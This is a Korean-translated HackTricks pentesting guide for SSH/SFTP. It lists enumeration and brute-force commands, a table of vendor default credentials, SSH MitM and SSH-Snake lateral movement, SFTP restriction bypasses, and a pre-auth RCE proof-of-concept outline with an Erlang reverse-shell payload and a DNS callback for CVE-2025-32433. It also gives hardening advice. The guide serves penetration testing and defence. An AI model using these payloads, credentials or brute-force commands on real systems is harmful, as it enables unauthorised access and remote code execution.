22 - Pentesting SSH/SFTP

Reading time: 15 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

**SSH (Secure Shell or Secure Socket Shell)**는 보안되지 않은 네트워크를 통해 컴퓨터에 대한 안전한 연결을 가능하게 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.

기본 포트: 22

22/tcp open  ssh     syn-ack

SSH 서버:

  • openSSH – OpenBSD SSH로, BSD와 Linux 배포판 및 Windows 10 이후의 Windows에 탑재되어 제공됨
  • Dropbear – 메모리와 프로세서 자원이 제한된 환경을 위한 SSH 구현체로, OpenWrt에 포함됨
  • PuTTY – Windows용 SSH 구현체. 클라이언트가 일반적으로 사용되며 서버 사용은 드묾
  • CopSSH – Windows용 OpenSSH 구현체

SSH 라이브러리 (서버측 구현):

  • libssh – SSHv2 프로토콜을 구현한 멀티플랫폼 C 라이브러리로, Python, PerlR 바인딩을 제공; KDE의 sftp와 GitHub의 git SSH 인프라에서 사용됨
  • wolfSSH – ANSI C로 작성된 SSHv2 서버 라이브러리로, 임베디드, RTOS 및 자원 제약 환경을 대상으로 함
  • Apache MINA SSHD – Apache SSHD java 라이브러리는 Apache MINA 기반임
  • paramiko – Python용 SSHv2 프로토콜 라이브러리

열거

bash
nc -vn <IP> 22

자동화된 ssh-audit

ssh-audit는 ssh 서버 및 클라이언트 구성 감사 도구입니다.

https://github.com/jtesta/ssh-audithttps://github.com/arthepsy/ssh-audit/의 업데이트된 포크입니다.

특징:

  • SSH1 and SSH2 프로토콜 서버 지원;
  • SSH 클라이언트 구성 분석;
  • 배너 수집, 장치 또는 소프트웨어 및 운영 체제 인식, 압축 감지;
  • key-exchange, host-key, encryption 및 message authentication code 알고리즘 수집;
  • 알고리즘 정보 출력 (available since, removed/disabled, unsafe/weak/legacy, 등);
  • 알고리즘 권장사항 출력 (인식된 소프트웨어 버전에 따라 append 또는 remove);
  • 보안 정보 출력 (관련 이슈, assigned CVE 목록, 등);
  • 알고리즘 정보를 기반으로 SSH 버전 호환성 분석;
  • OpenSSH, Dropbear SSH 및 libssh의 역사적 정보;
  • Linux 및 Windows에서 실행;
  • 의존성 없음
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

서버의 공개 SSH 키

bash
ssh-keyscan -t rsa <IP> -p <PORT>

약한 암호 알고리즘

이는 기본적으로 nmap으로 발견됩니다. 그러나 sslcan 또는 sslyze도 사용할 수 있습니다.

Nmap 스크립트

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

일부 OpenSSH 버전에서는 timing attack을 통해 사용자를 열거할 수 있습니다. 이를 악용하기 위해 metasploit module을 사용할 수 있습니다:

msf> use scanner/ssh/ssh_enumusers

Brute force

일부 일반적인 ssh 자격증명은 여기 여기 및 아래에 있습니다.

Private Key Brute Force

사용할 수 있는 ssh private keys를 알고 있다면... 시도해보자. nmap 스크립트를 사용할 수 있다:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

또는 MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

또는 ssh-keybrute.py를 사용하세요 (native python3, 경량이며 legacy 알고리즘이 활성화되어 있음): snowdroppe/ssh-keybrute.

알려진 badkeys는 여기에서 찾을 수 있습니다:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

약한 SSH 키 / Debian의 예측 가능한 PRNG

일부 시스템은 암호화 관련 자원을 생성할 때 사용하는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키스페이스가 크게 축소되어 bruteforce로 깨질 수 있습니다. 약한 PRNG의 영향을 받은 Debian 시스템에서 생성된 사전 생성 키 세트는 여기에서 이용할 수 있습니다: g0tmi1k/debian-ssh.

피해자 머신의 유효한 키를 찾기 위해 여기를 확인하세요.

Kerberos / GSSAPI SSO

대상 SSH 서버가 GSSAPI를 지원하는 경우(예: 도메인 컨트롤러의 Windows OpenSSH), 비밀번호 대신 Kerberos TGT를 사용해 인증할 수 있습니다.

워크플로우 (Linux 공격자 호스트 기준):

bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notes:

  • 잘못된 이름(예: 짧은 호스트, 별칭, 또는 /etc/hosts의 잘못된 순서)으로 연결하면 SPN이 일치하지 않아 "Server not found in Kerberos database" 오류가 발생할 수 있습니다.
  • crackmapexec ssh --kerberos는 Kerberos 인증을 위해 ccache를 사용할 수도 있습니다.

기본 자격증명

공급업체사용자 이름비밀번호
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

로컬 네트워크에서 피해자가 username/password로 SSH 서버에 연결하려는 경우, 해당 자격증명을 훔치기 위해 MitM 공격을 수행할 수 있습니다:

Attack path(공격 경로):

  • Traffic Redirection: 공격자는 피해자의 트래픽을 자신의 머신으로 유도하여 SSH 서버로의 연결 시도를 가로챕니다.
  • Interception and Logging: 공격자의 머신은 프록시처럼 동작하며 합법적인 SSH 서버인 척 하면서 사용자의 로그인 정보를 캡처합니다.
  • Command Execution and Relay: 공격자의 서버는 사용자의 자격증명을 기록하고, 명령을 실제 SSH 서버로 전달해 실행하며 결과를 사용자에게 다시 전송하여 과정이 매끄럽고 합법적으로 보이게 합니다.

SSH MITM는 위에서 설명한 동작을 정확히 수행합니다.

실제 MitM을 수행하여 캡처하려면 ARP spoofing, DNS spoofin 등 Network Spoofing attacks에 설명된 기법들을 사용할 수 있습니다.

SSH-Snake

발견된 SSH private keys를 이용해 시스템 간을 횡단하고, 각 시스템에서 새로운 호스트에 대해 해당 개인 키를 사용하는 방식으로 네트워크를 탐색하려면 SSH-Snake를 사용하세요.

SSH-Snake는 자동으로 재귀적으로 다음 작업을 수행합니다:

  1. 현재 시스템에서 SSH private keys를 찾습니다,
  2. 현재 시스템에서 해당 개인 키로 접근이 허용될 수 있는 호스트나 대상(user@host)을 찾습니다,
  3. 발견한 모든 개인 키를 사용해 모든 대상에 대해 SSH 접속을 시도합니다,
  4. 대상에 성공적으로 접속하면, 연결된 시스템에서 1–4단계를 반복합니다.

이는 완전히 자기 복제적이고 자기 전파적이며, 파일리스(fileless) 방식입니다.

구성 오류

루트 로그인

SSH 서버에서 루트 사용자 로그인을 기본적으로 허용하는 경우가 많으며, 이는 심각한 보안 위험을 초래합니다. 루트 로그인을 비활성화하는 것은 서버 보안의 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.

To Disable Root Login in OpenSSH( OpenSSH에서 루트 로그인 비활성화 방법):

  1. SSH 설정 파일을 편집합니다: sudoedit /etc/ssh/sshd_config
  2. 설정을 #PermitRootLogin yes에서 **PermitRootLogin no**로 변경합니다.
  3. 구성을 다시 로드합니다: sudo systemctl daemon-reload
  4. 변경 사항을 적용하려면 SSH 서버를 재시작합니다: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTP 설정에서 흔히 발생하는 실수로, 관리자는 사용자들이 원격 쉘 접근 없이 파일만 교환하도록 의도합니다. 비대화형 셸(예: /usr/bin/nologin)을 할당하고 특정 디렉터리로 제한했더라도 보안 허점이 남아 있습니다. 사용자는 로그인 직후 비대화형 셸이 적용되기 전에 /bin/bash 같은 명령 실행을 요청함으로써 이러한 제한을 우회할 수 있습니다. 이는 무단 명령 실행을 가능하게 하여 의도된 보안 조치를 무력화합니다.

Example from here:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

다음은 사용자 noraj를 위한 보안 SFTP 구성 (/etc/ssh/sshd_config – openSSH) 예시입니다:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

이 구성은 SFTP만 허용합니다: start command를 강제해 shell access와 TTY access를 비활성화하며, 또한 모든 종류의 port forwarding이나 tunneling을 비활성화합니다.

SFTP Tunneling

SFTP 서버에 접근할 수 있다면, 예를 들어 일반적인 port forwarding을 사용해 트래픽을 이를 통해 tunneling할 수도 있습니다:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp는 명령어 "symlink"를 제공합니다. 따라서 어떤 폴더에 writable rights가 있다면 다른 폴더/파일의 symlinks를 생성할 수 있습니다. 대부분 chroot 안에 갇혀 있기 때문에 이것이 특별히 유용하지 않을 수 있지만, 생성한 symlinkno-chroot service(예: web)에서 접근할 수 있다면 symlinked files를 web을 통해 열어볼 수 있습니다.

예를 들어, 새 파일 "froot"에서 "/**"로 symlink를 생성하려면:

bash
sftp> symlink / froot

If you can access the file "froot" via web, you will be able to list the root ("/") folder of the system.

인증 방법

보안 수준이 높은 환경에서는 단일 요소인 비밀번호 기반 인증보다 키 기반 인증이나 2단계 인증만을 활성화하는 것이 일반적입니다. 그러나 종종 더 강력한 인증 방법을 활성화하면서 약한 방법을 비활성화하지 않는 경우가 있습니다. 흔한 예가 openSSH 설정에서 publickey를 활성화해 기본 방법으로 설정해도 password를 비활성화하지 않는 경우입니다. 따라서 SSH 클라이언트의 verbose 모드를 사용하면 공격자는 약한 방법이 활성화되어 있는 것을 확인할 수 있습니다:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

예를 들어 인증 실패 제한이 설정되어 있고 password method에 도달할 기회를 얻지 못하는 경우, PreferredAuthentications 옵션을 사용해 이 방법을 강제로 사용하도록 할 수 있습니다.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSH 서버 구성을 검토하여 예상된 방식만 허용되는지 확인해야 한다. 클라이언트의 verbose 모드를 사용하면 구성의 효과를 확인하는 데 도움이 된다.

구성 파일

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

여러 SSH 서버 구현에는 authentication finite-state machine에 논리적 결함이 있어 클라이언트가 인증이 완료되기 이전에 connection-protocol 메시지를 보낼 수 있습니다. 서버가 올바른 상태인지 검증하지 않기 때문에, 이러한 메시지들은 사용자가 완전히 인증된 것처럼 처리되어 인증되지 않은 코드 실행 또는 세션 생성으로 이어집니다.

프로토콜 수준에서, _message code_가 ≥ 80 (0x50)인 모든 SSH 메시지는 connection 레이어(RFC 4254)에 속하며 성공적인 인증 이후에만 허용되어야 합니다 (RFC 4252). 서버가 SSH_AUTHENTICATION 상태에 있는 동안 이러한 메시지 중 하나를 처리하면, 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등과 같은 작업을 요청할 수 있습니다.

일반적인 익스플로잇 단계

  1. 대상의 SSH 포트(일반적으로 22)에 TCP 연결을 수립합니다. 다만 다른 서비스는 Erlang/OTP를 2022, 830, 2222 등에서 노출할 수 있습니다.
  2. 원시 SSH 패킷을 생성합니다:
    • 4-byte packet_length (big-endian)
    • 1-byte message_code ≥ 80 (예: SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
    • 선택한 메시지 타입이 이해할 수 있는 페이로드
  3. 어떤 인증 단계도 완료하기 전에 패킷을 전송합니다.
  4. 이제 pre-auth 상태에서 노출된 서버 API와 상호작용합니다 (명령 실행, 포트 포워딩, 파일 시스템 접근 등).

Python proof-of-concept outline:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

실무에서는 대상 구현에 따라 키 교환을 수행(또는 건너뛰기)해야 하지만, no authentication는 전혀 수행되지 않습니다.


Erlang/OTP sshd (CVE-2025-32433)

  • 영향받는 버전: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • 근본 원인: the Erlang native SSH daemon does not validate the current state before invoking ssh_connection:handle_msg/2. 따라서 메시지 코드가 80-255인 모든 패킷이 세션이 여전히 userauth 상태에 있는 동안 연결 핸들러에 도달합니다.
  • 영향: unauthenticated remote code execution (해당 데몬은 일반적으로 root 권한으로 임베디드/OT 장치에서 실행됩니다).

공격자가 제어하는 채널에 바인딩된 reverse shell을 생성하는 예시 페이로드:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection은 DNS를 통해 수행할 수 있다:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

탐지 및 완화:

  • SSH 트래픽 검사: 인증 전에 관찰된 message code ≥ 80인 패킷을 폐기(drop).
  • Erlang/OTP를 27.3.3 / 26.2.5.11 / 25.3.2.20 이상으로 업그레이드하세요.
  • 관리 포트 노출 제한(22/2022/830/2222) – 특히 OT 장비에서.

Other Implementations Affected

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – 클라이언트가 보낸 인증되지 않은 SSH_MSG_USERAUTH_SUCCESS를 수락하여, 사실상 역(逆) 논리적 결함을 일으킵니다.

공통적인 교훈은 RFC에서 규정한 상태 전이에서의 어떤 편차도 치명적일 수 있다는 점입니다; SSH 데몬을 검토하거나 fuzzing할 때는 상태 전이 강제에 특히 주의를 기울이세요.

References

HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기